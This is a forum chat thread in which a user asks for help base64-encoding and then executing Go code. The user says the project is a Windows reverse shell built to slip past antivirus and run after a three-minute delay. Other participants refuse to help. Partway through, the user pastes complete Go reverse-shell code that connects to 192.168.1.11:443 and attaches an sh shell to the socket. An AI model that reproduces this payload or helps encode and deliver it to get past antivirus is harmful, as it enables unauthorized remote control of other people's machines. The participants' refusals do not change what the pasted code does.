#decode and run the function

51 messages · Page 1 of 1 (latest)

gaunt laurel
#

You want to execute the decoded string as Go code?

wide onyx
#

yes

gaunt laurel
#

You cannot

wide onyx
#

what can i do about it

#

?

gaunt laurel
wide onyx
#

make a second file ?

#

smth easer ?

#

i mean want to make an exe on my pc and that exe will be executed on another pc, to show the string

gaunt laurel
#

It's non-trivial to execute arbitrary go code

bronze crypt
#

You want to decode something and execute it? Go is a compiled language so any solution is gonna be very hacky

wide onyx
#

any solution will work

bronze crypt
#

Lol

wide onyx
#

the project is a reverseshell

#

for windows

#

base 64 is bypassing the av

#

after 3 mins execute and thats all

gaunt laurel
#

Yeah no, we won't be helping you make a reverse shell.

wide onyx
#

i did it already

bronze crypt
#

...

wide onyx
#

im missing only the encode

#

its for school

humble abyss
#

sure you did 😄 that is why you are asking here how to run one line of go code

bronze crypt
#

Not allowed here

wide onyx
#
import"os/exec"
import"net"
func main(){
c,_:=net.Dial("tcp","192.168.1.11:443")
cmd:=exec.Command("sh")
cmd.Stdin=c
cmd.Stdout=c
cmd.Stderr=c
cmd.Run()
}
#

it works perfectly in vm

#

cyber security class :S

bronze crypt
#

Still not understanding why you need to execute Go code

wide onyx
#

cus the exercise is go revshell

#

i can do it on cpp but its not the point

bronze crypt
#

You're supposed to execute commands not go

wide onyx
#

ofc

#

it must be delivered as base64 encode

humble abyss
#

Maybe I am too stupid but reverse shell means some kind of shell, like bash, zsh, sh or etc. but I might be out of sync on this topic probably. No idea how the go println comes here

wide onyx
#

goprint is the test if ican print the line i can run the other things too

bronze crypt
wide onyx
#

i want to see how it works

bronze crypt
#

You can't, and it's not the exercise probably

#

You are supposed to run commands like 'echo' or whatever

#

Not to run custom go code

#

That's not what a reverse shell is

wide onyx
#

want me to send u an exe ?

bronze crypt
#

No

wide onyx
#

when i build it and execute it on off av it works

#

i can ping

#

thats all

#

just want to make it base64 and after 3 mins decode it

#

and im done

bronze crypt
#

Aight im out... Re-understand the assignment and ask the right questions

wide onyx
#

i want to see how can i use decoded function